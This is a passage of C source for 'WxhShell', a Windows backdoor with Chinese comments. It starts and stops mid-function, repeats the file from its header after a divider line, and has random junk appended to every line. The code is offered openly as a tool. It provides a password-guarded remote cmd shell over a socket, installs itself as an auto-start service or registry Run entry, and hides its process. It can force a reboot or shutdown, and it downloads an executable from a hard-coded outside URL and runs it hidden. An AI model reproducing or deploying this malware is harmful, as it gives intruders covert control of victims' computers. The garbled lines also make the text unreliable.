    break; q(46v`u  
    } D @wIbU  
  // 关机 Kl?C[  
  case 'd': { WOgkv(5KN  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Nj?Q{ztS  
    if(Boot(SHUTDOWN)) E i2M~/  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Q4Wz5n1yp7  
    else { sWTa;Qi  
    closesocket(wsh); VeEa17g&  
    ExitThread(0); ) C\/(  
    } )`<&~>qp  
    break; `p)U6J  
    } 25 U+L  
  // 获取shell -oZw+ge}  
  case 's': { T#e|{ZCbq  
    CmdShell(wsh); N3Q .4? z9  
    closesocket(wsh); Z>/ *q2  
    ExitThread(0); W3('1  
    break; ]T40VGJ:h  
  } u!HbS*jqq  
  // 退出 Ke[`zui@?  
  case 'x': { <v\$r2C*  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); r_8;aPL  
    CloseIt(wsh); FBrh!vQ<  
    break; H7drDw  
    } \,m*CYs`  
  // 离开 hZ|0<u  
  case 'q': { P=P']\`p+  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); G ` eU   
    closesocket(wsh); pL*aU=FjQ  
    WSACleanup(); Wj)v,v2&  
    exit(1); RP 6<#tq,  
    break; )2^r 0(x  
        } j:8Pcx  
  } k8+U0J_{'  
  } SEWdhthP  
k:mW ,s|a  
  // 提示信息 :"nh76xg<  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0);  Ew;AYZX  
} IW}Wt{'m  
  } @eESKg(,  
jW^]N$>  
  return; . Y!dO@$:  
} ]R^xO;g'  
1;,<UHF8N  
// shell模块句柄 N3)n**  
int CmdShell(SOCKET sock) d|gfp:Z`a  
{ H4wDF:n0H  
STARTUPINFO si; SpIiMu(  
ZeroMemory(&si,sizeof(si)); |g !$TUS.  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; BEAY}P(y3  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; dtG>iJ  
PROCESS_INFORMATION ProcessInfo; gL@]p  
char cmdline[]="cmd"; O"X7 DgbC  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); GUJ?6;  
  return 0; WFmW[< g  
} 3:c6x kaw  
cUw$F{|W  
// 自身启动模式 )RWY("SUy1  
int StartFromService(void) ?oV|.LM:W  
{ Fl(j,B6Z  
typedef struct 0\k {v  
{ Lv)1 )'v0  
  DWORD ExitStatus; yYTOp^  
  DWORD PebBaseAddress; +sq_fd ;'D  
  DWORD AffinityMask; =<TJ[,h et  
  DWORD BasePriority; k O.iJcZg  
  ULONG UniqueProcessId; f"4w@X2F  
  ULONG InheritedFromUniqueProcessId; m3(p7Z^Bq  
}   PROCESS_BASIC_INFORMATION; ssH[\i  
IO2@^jup  
PROCNTQSIP NtQueryInformationProcess; oe=1[9T"  
s=K?-O  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; u{sb^cmy  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 8RVRfy,w  
#B!M,TWf9s  
  HANDLE             hProcess; k2#|^N  
  PROCESS_BASIC_INFORMATION pbi; wT,=C'  
va"bw!zXo*  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 9@nd>B  
  if(NULL == hInst ) return 0; xbCQ^W2YU|  
^8dCFw.rU  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ]1[:fQF7/L  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); .E7"Lfs-  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); alsD TQ'  
\IqCC h  
  if (!NtQueryInformationProcess) return 0; n7/&NiHxv/  
nYBa+>3BDf  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ^nFP#J)_5  
  if(!hProcess) return 0; D '% O<.m  
R$Qhu xT|  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; g`2O h5dA  
NE Zu?g  
  CloseHandle(hProcess); |v 1* [(  
4#t-?5"  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ttBqp|.?S  
if(hProcess==NULL) return 0; U?5G%o(q  
:FmH=pI!=  
HMODULE hMod; Wn?),=WQ{  
char procName[255]; lO0}  
unsigned long cbNeeded; Jy('tfAHp  
e:rbyzf#  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ]8'PLsS9<w  
t4hc X[  
  CloseHandle(hProcess);  &Du S*  
T_9o0Qk  
if(strstr(procName,"services")) return 1; // 以服务启动 m GJRCK_  
"];@N!dA  
  return 0; // 注册表启动 z'"Y+EWN  
} [1z.JfC :S  
:" @-Bcln  
// 主模块 8L6b:$Y3@C  
int StartWxhshell(LPSTR lpCmdLine) kN#3HI]8  
{ 5;HCNwX  
  SOCKET wsl; AYp~;@  
BOOL val=TRUE; q_9 tbZ;  
  int port=0; Wu$yB!  
  struct sockaddr_in door; |goK@ <  
K7nyQGS  
  if(wscfg.ws_autoins) Install(); > +00[T  
_]eyt_  
port=atoi(lpCmdLine); qmvQd8|XR  
N\rL ~4/  
if(port<=0) port=wscfg.ws_port; MGr e_=Dm_  
y3PrLBTz  
  WSADATA data; {9^p3Q+:P  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; q)AX*T+  
0y+i?y 9  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   2n-kJl`: O  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); h[<l2fy  
  door.sin_family = AF_INET; GY^;$?  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); {.y_{yWo  
  door.sin_port = htons(port); C46jVl   
Zp9kxm'  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { >6)|># Wi  
closesocket(wsl); lJT"aXt'M  
return 1; 7;&,L H  
} Sn' +~6i  
L1y71+iqU  
  if(listen(wsl,2) == INVALID_SOCKET) { Vobq|Rd/%  
closesocket(wsl); .;l`VWP  
return 1; o)R<sT  
} G!h75G20  
  Wxhshell(wsl); l/\D0\x2  
  WSACleanup(); AD@ {7  
Z a S29}  
return 0; (=EDqAZg  
>vO+k^'Y  
} JZ&_1~Z=  
aeAx0yE[p  
// 以NT服务方式启动 cL~YQJYp  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ^6LnB#C&  
{ .*.eY?,V  
DWORD   status = 0; sH > zsc  
  DWORD   specificError = 0xfffffff; rUAt`ykTmN  
 _-9cGm v  
  serviceStatus.dwServiceType     = SERVICE_WIN32; DQaE9gmC  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; qV/>d' ,  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ?ks.M'@  
  serviceStatus.dwWin32ExitCode     = 0; }6=)w@v  
  serviceStatus.dwServiceSpecificExitCode = 0; A5%$<  
  serviceStatus.dwCheckPoint       = 0; ,H^!G\  
  serviceStatus.dwWaitHint       = 0; |{_>H '  
$J&c1  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); hhFO,  
  if (hServiceStatusHandle==0) return; 7T t!h f  
]]3rSXs2}J  
status = GetLastError(); j]vEo~Bbh  
  if (status!=NO_ERROR) Nd{U|k3pL  
{ a;M{ -G  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; Fop +xR,Z  
    serviceStatus.dwCheckPoint       = 0; ,LxkdV  
    serviceStatus.dwWaitHint       = 0; g x?r8  
    serviceStatus.dwWin32ExitCode     = status; NK(_ &.F  
    serviceStatus.dwServiceSpecificExitCode = specificError; M CP GDr  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); y\Utm$)j  
    return; XD't)B(q  
  } r9L--#=z  
"Wr[DqFd  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; vUOl@UQ5  
  serviceStatus.dwCheckPoint       = 0; 4z9lk^#"X  
  serviceStatus.dwWaitHint       = 0; M]/DKo  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); w*;"@2y;eY  
} `u PLyS.  
6]kBG?m0  
// 处理NT服务事件,比如:启动、停止 Kr `/sWZ  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ecR)8^1 '  
{ ]^>:)q  
switch(fdwControl) =  
{ %\n|2*r  
case SERVICE_CONTROL_STOP: f fBd  
  serviceStatus.dwWin32ExitCode = 0; AQT_s9"0  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 4l6 8+  
  serviceStatus.dwCheckPoint   = 0; M}f(-,9  
  serviceStatus.dwWaitHint     = 0; CjP<'0gT  
  { sowwXrECg@  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); qMA-#  
  } *f`P7q*  
  return; \g h |G  
case SERVICE_CONTROL_PAUSE: _L$a[zH  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 2CneRKQy  
  break; i. (Af$  
case SERVICE_CONTROL_CONTINUE: 5b*knN>  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; Zj'%c2U_  
  break; 0\X<vrW  
case SERVICE_CONTROL_INTERROGATE: i1-%#YYF(  
  break; /]MelW  
}; NY.* S6  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); wJCw6&D,/  
} 6N5(DD  
1 <+aF,  
// 标准应用程序主函数 +}a(jO  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Jww#zEK  
{ X;Sb^c"j1  
Y:t?W  
// 获取操作系统版本 :zLf~ W  
OsIsNt=GetOsVer(); T<? kH  
GetModuleFileName(NULL,ExeFile,MAX_PATH); FO:L+&hr?>  
^\?Rh(pu  
  // 从命令行安装 s&-MJ05y  
  if(strpbrk(lpCmdLine,"iI")) Install(); aekke//y  
*kg->J  
  // 下载执行文件 |iUC\F=-  
if(wscfg.ws_downexe) { g$?^bu dxv  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) kLZVTVSJt  
  WinExec(wscfg.ws_filenam,SW_HIDE); ]+W){W=ai  
} O=(F46 M  
EwA*  
if(!OsIsNt) { 4gsQ:3  
// 如果时win9x,隐藏进程并且设置为注册表启动 7bihP@I !  
HideProc(); ZDgT"53   
StartWxhshell(lpCmdLine); ^-[ I;P  
} =CZRX' +yN  
else qqf*g=f  
  if(StartFromService()) wCruj`$  
  // 以服务方式启动 Zis,%XY  
  StartServiceCtrlDispatcher(DispatchTable); :Ev gUA\4  
else hpb|| V  
  // 普通方式启动 z+{qQ!  
  StartWxhshell(lpCmdLine); , f$P[c  
k:R\;l5  
return 0; ]\ _tO  
} ce}A!v  
}6/M5zF3  
H>+])~#  
fe98 Y-e  
=========================================== X )tH23  
h72/03!  
V3q`V/\  
aaT3-][  
cK u[ 4D{  
k'#3fz\  
" \GxqE8  
#]tDxZ] 6  
#include <stdio.h> Hy&Z0W'l  
#include <string.h> @:GqOTN  
#include <windows.h> ]Z8u0YtM)  
#include <winsock2.h> 4^l9d  
#include <winsvc.h> !V3+(o 1  
#include <urlmon.h> >RkaFcq  
pka^7OWyN  
#pragma comment (lib, "Ws2_32.lib") m1Ya  
#pragma comment (lib, "urlmon.lib") tjb$MW$('  
TZt;-t`  
#define MAX_USER   100 // 最大客户端连接数 A%Ka)UU+n  
#define BUF_SOCK   200 // sock buffer Pg(Y}Tu  
#define KEY_BUFF   255 // 输入 buffer R P<M  
,#3Aaw   
#define REBOOT     0   // 重启 EHm*~Sd  
#define SHUTDOWN   1   // 关机 e,_Sj(R8  
0lg'QG>  
#define DEF_PORT   5000 // 监听端口 4J_HcatOB  
`y.4FA4"8  
#define REG_LEN     16   // 注册表键长度 *u"%hXR  
#define SVC_LEN     80   // NT服务名长度 K6p\ >J  
nsU7cLf"^V  
// 从dll定义API m[v0mXE  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); F{E@snc  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); W6NhJ#M7  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); f^B8!EY#:  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); *af\U3kx  
M=pQx$%a  
// wxhshell配置信息 uhfK\.3  
struct WSCFG { {\`tt c>  
  int ws_port;         // 监听端口 c-XO}\?  
  char ws_passstr[REG_LEN]; // 口令 >jhcSvM6  
  int ws_autoins;       // 安装标记, 1=yes 0=no mnK<5KLg1  
  char ws_regname[REG_LEN]; // 注册表键名 JR.)CzC  
  char ws_svcname[REG_LEN]; // 服务名 -(:T&rfTp  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 z@~H{glo  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 A&t8C8,  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 `+n#CWZ"Y  
int ws_downexe;       // 下载执行标记, 1=yes 0=no Yu_*P-Ja6  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" J4::.r  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 \#:  W  
=f!A o:Uc  
}; KJec/qca  
cLf90|YFp  
// default Wxhshell configuration a~0 ~Y y  
struct WSCFG wscfg={DEF_PORT, FXJ0 G>F  
    "xuhuanlingzhe", %u66H2  
    1, uD=Kar  
    "Wxhshell", E b[;nk?  
    "Wxhshell", t;w<n"  
            "WxhShell Service", <PDCM8  
    "Wrsky Windows CmdShell Service", !?JZ^/u  
    "Please Input Your Password: ", |> STb\  
  1, ?;~E*kzO&  
  "http://www.wrsky.com/wxhshell.exe", qP#LJPaS  
  "Wxhshell.exe" ~Yk^(hl2  
    }; x;u#ec4  
F,~BhKkbV  
// 消息定义模块 JHa1lj  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; L.'61ZU  
char *msg_ws_prompt="\n\r? for help\n\r#>"; w gS'/  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; z Fm`e:td  
char *msg_ws_ext="\n\rExit."; uE')<fVX(  
char *msg_ws_end="\n\rQuit."; &!X<F,  
char *msg_ws_boot="\n\rReboot..."; HAK,z0/  
char *msg_ws_poff="\n\rShutdown..."; ^t4^gcoZ4Z  
char *msg_ws_down="\n\rSave to "; ';FJs&=I  
>o1dc*  
char *msg_ws_err="\n\rErr!"; @`L ;_S+  
char *msg_ws_ok="\n\rOK!"; V*\hGNV  
q"2APvsvp  
char ExeFile[MAX_PATH]; 1cOR?=G~  
int nUser = 0; Pq [_(Nt  
HANDLE handles[MAX_USER]; DfAF-Yhut  
int OsIsNt; 2.%)OC!q&5  
tJ;qZyy(  
SERVICE_STATUS       serviceStatus; zni9  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; q1:dcxR[  
K^fs #7  
// 函数声明 hO8xH +;  
int Install(void); 1<_][u@  
int Uninstall(void); MN2i0!+  
int DownloadFile(char *sURL, SOCKET wsh); /io06)-/n  
int Boot(int flag);  N~$>| gn  
void HideProc(void); Y`j$7!j  
int GetOsVer(void); L'{W|Xb+  
int Wxhshell(SOCKET wsl); c<|y/n  
void TalkWithClient(void *cs); 0o>C, `  
int CmdShell(SOCKET sock); {FvFah  
int StartFromService(void); 5/'Q0]4h  
int StartWxhshell(LPSTR lpCmdLine); hxL?6mhY  
HfSx*@\s  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); b=lJ`|  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 59)w+AW  
&f. |MNz;  
// 数据结构和表定义 n o<$=(11i  
SERVICE_TABLE_ENTRY DispatchTable[] = NRtH?&7  
{ r=n{3o+  
{wscfg.ws_svcname, NTServiceMain}, gd0)s1{9  
{NULL, NULL} 9$HKP9G  
}; h<%$?h+}  
_ZhQY,  
// 自我安装 5]Rbzg2t  
int Install(void) akyMW7'3V<  
{ gvT}UNqL  
  char svExeFile[MAX_PATH]; f9u=h}  
  HKEY key; *zPqXtw!j  
  strcpy(svExeFile,ExeFile); o664b$5nsI  
T)I)r239h  
// 如果是win9x系统,修改注册表设为自启动 gf8o~vKX$G  
if(!OsIsNt) { %evb.h)  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { $XQgat@&]  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); \09A"fs{  
  RegCloseKey(key); fVn4=d6X  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 06Wqfzceb  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); $4g {4-)  
  RegCloseKey(key); 0}<blU  
  return 0; Yt#; +*d5  
    } F0_w9"3E~  
  } 8HKv_vl  
} M99ku'  
else { j ^j"w(a  
hb; CpA  
// 如果是NT以上系统,安装为系统服务 myfTz tJ  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 6{.U7="  
if (schSCManager!=0) (y]Z*p:EW  
{ L@H^?1*L?  
  SC_HANDLE schService = CreateService jaEe$2F2  
  ( o.!o4&W H  
  schSCManager, fPD.np}  
  wscfg.ws_svcname, @!OXLM   
  wscfg.ws_svcdisp, >rQj1D)@  
  SERVICE_ALL_ACCESS, D{JjSky  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , l-%] f]>  
  SERVICE_AUTO_START, r gIWM"  
  SERVICE_ERROR_NORMAL, 9 ~W]D!m,  
  svExeFile, +45SKu=  
  NULL, _$AM=?P &  
  NULL, q{&c?l*2  
  NULL, oH=?1~ e  
  NULL, , ]1f)>  
  NULL gPCf+>X{  
  ); aC}\`.Kb  
  if (schService!=0) j r) M],  
  { ,1~zYL?  
  CloseServiceHandle(schService); d?X,od6  
  CloseServiceHandle(schSCManager); fr(Ja;  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); X?t;uZI^  
  strcat(svExeFile,wscfg.ws_svcname); $(D>v!dp  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 5.VPK 338A  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); eaf-_#qb  
  RegCloseKey(key); ]#G s6CsT|  
  return 0; eAW)|=2  
    } Q8`V0E\~  
  } 7vZO;FGtG  
  CloseServiceHandle(schSCManager); F6sQeU  
} y\_+,G0  
} Sa<(F[p`  
=.8n K y  
return 1; gra6&&^"  
} ;j1 SSHZ  
;av!fK  
// 自我卸载 I^A>YJW  
int Uninstall(void) ZXs,TaU  
{ 3]vVuQK.  
  HKEY key; `C: 7 N=9  
GU> j8.  
if(!OsIsNt) { gamB]FPZ  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { s\mA3t  
  RegDeleteValue(key,wscfg.ws_regname); 8:& ! F`o  
  RegCloseKey(key); :dW\Q&iW  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { =,zB|sjn  
  RegDeleteValue(key,wscfg.ws_regname); PMTrG78p*  
  RegCloseKey(key); c #{|sR5  
  return 0; 0M;g&&mF  
  } >s/_B//[  
} wuXQa wo  
} H8w[{'Mei  
else { @H`jDaB 9  
ZX&e,X~V  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); S~:uOm2t\  
if (schSCManager!=0) c"tlNf?  
{ yQ/O[(  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); dUa>XkPa\2  
  if (schService!=0) [4#HuO@h  
  { >;9g`d  
  if(DeleteService(schService)!=0) { q`p0ul,n  
  CloseServiceHandle(schService); )] q Qgc&  
  CloseServiceHandle(schSCManager); ?rOj?J9  
  return 0; `WH$rx!  
  } n`Z}tQ%)o  
  CloseServiceHandle(schService); i ed 1+H  
  } >g !Z|ju  
  CloseServiceHandle(schSCManager); b/[X8w'VP  
} 'sZGLgT;m  
} -KC@M  
By6O@ .\V  
return 1; 1P"7.{  
} W)ug %@)  
#EUT"^:d  
// 从指定url下载文件 Ut2T:%m{  
int DownloadFile(char *sURL, SOCKET wsh) qZ!kVrmg&  
{ @>(JC]HtR  
  HRESULT hr; kAp#6->(q  
char seps[]= "/"; Y}BP ]#1  
char *token; xKE=$SV(  
char *file; !B Pm{_C  
char myURL[MAX_PATH]; H^kOwmSzh  
char myFILE[MAX_PATH]; O$,  
X[h{g`  
strcpy(myURL,sURL); rrfJs  
  token=strtok(myURL,seps); TY% c`Q5  
  while(token!=NULL) g8E5"jpXx3  
  { a^LckHPI>  
    file=token; @#hQ0F8  
  token=strtok(NULL,seps); %'WC7s  
  } qery|0W  
(pCHj'  
GetCurrentDirectory(MAX_PATH,myFILE); pmBN?<  
strcat(myFILE, "\\"); w!<e#Z]3b  
strcat(myFILE, file); !x-__[#  
  send(wsh,myFILE,strlen(myFILE),0); v\bWQs1  
send(wsh,"...",3,0); B~}BDnu6  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); e+!xy&u@u  
  if(hr==S_OK) yHE\Q  
return 0; j xI;clr  
else Ju#j%!  
return 1; lS Y "  
HgW!Q(*  
} 'V%w{ZiiV  
#tg\ bb  
// 系统电源模块 OMk3\FV2Z  
int Boot(int flag) Y.I~.66s  
{ rr,A Vw  
  HANDLE hToken; .s4vJKK0  
  TOKEN_PRIVILEGES tkp; ;/V])4=  
FWeUZI+  
  if(OsIsNt) {  kVZs:  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 3c#^@Bj(-e  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); H.iCYD_=  
    tkp.PrivilegeCount = 1; > A@yF?  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 8Ckd.HKpQ  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); .0yBI=QI  
if(flag==REBOOT) { *\#<2 QAe  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) "uuM#@h  
  return 0; D8! Y0  
} *VXx\&  
else { Pi1LOCq  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) G)YmaHeI;[  
  return 0; g]h@U&`~u_  
} pvl];w  
  } eXsp0!v  
  else { ~rI2 RJ  
if(flag==REBOOT) { 6wpu[  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) mEYfsO  
  return 0; P%&|?e~D^  
} 7./WS,49  
else { I/upiqy  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) aC' 6  
  return 0; g:~q&b[q6  
} bHm/ZZx  
} RLex#j  
13 L&f\b  
return 1; -wH0g^Ed  
} R#Yj%$E1  
E4\HI+  
// win9x进程隐藏模块 lGK7XAx,  
void HideProc(void)  7Oe$Ou  
{ z7BFkZ6+  
C8v  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); zQO 1%g  
  if ( hKernel != NULL ) bZUw^{~)D  
  { OR+_s @Yg  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); &b,A-1`w_  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); H(Wiy@cJn  
    FreeLibrary(hKernel); kLF3s#k  
  } HZ!<dy3  
/C'_-U?  
return; D&K9!z"]  
} nF]E":  
%OHWGac"i  
// 获取操作系统版本 c1i[1x%  
int GetOsVer(void) N!<l~[rc  
{ pk'd& .  
  OSVERSIONINFO winfo; uj\&-9gEi  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 4VvE(f  
  GetVersionEx(&winfo); Y5ei:r|^  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) cGo_qR/B(>  
  return 1; q},,[t  
  else T1RY1hb|g>  
  return 0; 9MJ:]F5+  
} .K-d  
7Q'u>o  
// 客户端句柄模块 p;7wH\c  
int Wxhshell(SOCKET wsl) %AqI'ObC  
{ O%bltNEx1  
  SOCKET wsh; NMg(tmh  
  struct sockaddr_in client; nfZe"|d  
  DWORD myID; ^h=gaNL  
{=Ji2k0U'  
  while(nUser<MAX_USER) 0H%zkJ>Q  
{ ro?.w  
  int nSize=sizeof(client); S{ F\_'%  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); [V8^}s}tF  
  if(wsh==INVALID_SOCKET) return 1; &xUCXj2-z  
Wn=I[K&&  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); t:oq't  
if(handles[nUser]==0) BINHCZ  
  closesocket(wsh); =^Ws/k  
else +3AX1o%p,#  
  nUser++; QTF1~A\  
  } -f:PgBj  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); GHLFn~z@XJ  
8?'=Aeo  
  return 0; ;){ZM,Ox  
} ]fh(b)8_,  
I5[@C<b  
// 关闭 socket Je"XIhBr  
void CloseIt(SOCKET wsh) :qR8 e J  
{ dR>$vbjh1Z  
closesocket(wsh); gyy}-^`F  
nUser--; 9' H\-  
ExitThread(0); W:WRG8(F  
} J?t(TW6E  
Iq19IbR8  
// 客户端请求句柄 F3q<j$y  
void TalkWithClient(void *cs) fpZHE=}r  
{ A=ez,87  
# ax% n  
  SOCKET wsh=(SOCKET)cs; w .M  
  char pwd[SVC_LEN]; i*4v!(E  
  char cmd[KEY_BUFF]; e50xcf1u  
char chr[1]; 8eh3K8tL#  
int i,j; yO\bVu5V  
#jxPh!%9  
  while (nUser < MAX_USER) { p}I\H ^"8+  
D'D IC  
if(wscfg.ws_passstr) { *>EV4Hl  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);  L`Ys`7  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);  Hi\z-P-  
  //ZeroMemory(pwd,KEY_BUFF); c":2<:D&  
      i=0; M $EHx[*5  
  while(i<SVC_LEN) { HpeU'0u0VK  
E)p[^1WC  
  // 设置超时 ^xgPL'  
  fd_set FdRead; BlT)hG(M>  
  struct timeval TimeOut; &01KHJY)/G  
  FD_ZERO(&FdRead); (<Cg|*s  
  FD_SET(wsh,&FdRead); (<H@W/0$  
  TimeOut.tv_sec=8; tK+JmbB\  
  TimeOut.tv_usec=0; ?hp,h3s;n$  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); DtS7)/<T  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); Gf~^Xv!T  
o?= &kx  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Jfv'M<I  
  pwd=chr[0]; qM Qu!%o  
  if(chr[0]==0xd || chr[0]==0xa) { "~Kph0-  
  pwd=0; >wYmx4W>  
  break; !iX/Ni:  
  } \|]+sQWQ  
  i++; :To{&T  
    } z}r  
z^/9YzA!6  
  // 如果是非法用户,关闭 socket Lcy6G%A  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); AEFd,;GF  
} eAQ-r\h'2  
Z)3oiLmD  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); |hDN$By  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 0x&L'&SpN  
]gA2.,)}D  
while(1) { #c/K.?  
BOdlz#&s  
  ZeroMemory(cmd,KEY_BUFF); WkpHe  
)#? K2E  
      // 自动支持客户端 telnet标准   ]_!NmB_3  
  j=0; \x\(36\u  
  while(j<KEY_BUFF) { @,G\` ;Ma  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); LH@Kn?R6  
  cmd[j]=chr[0]; 2>CR]  
  if(chr[0]==0xa || chr[0]==0xd) { HB<>x  
  cmd[j]=0; +n &8" )  
  break; F,mStw:  
  } k0b6X5  
  j++; /;y`6WG%2  
    } NOAz"m+o  
04Uyr;y  
  // 下载文件 7#N= GN  
  if(strstr(cmd,"http://")) { 64'sJc.   
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 7^#O{QYol  
  if(DownloadFile(cmd,wsh)) (\ |Go-2G  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); rof9Rxxe-  
  else  ME5M;bz(  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); PyQ\O*  
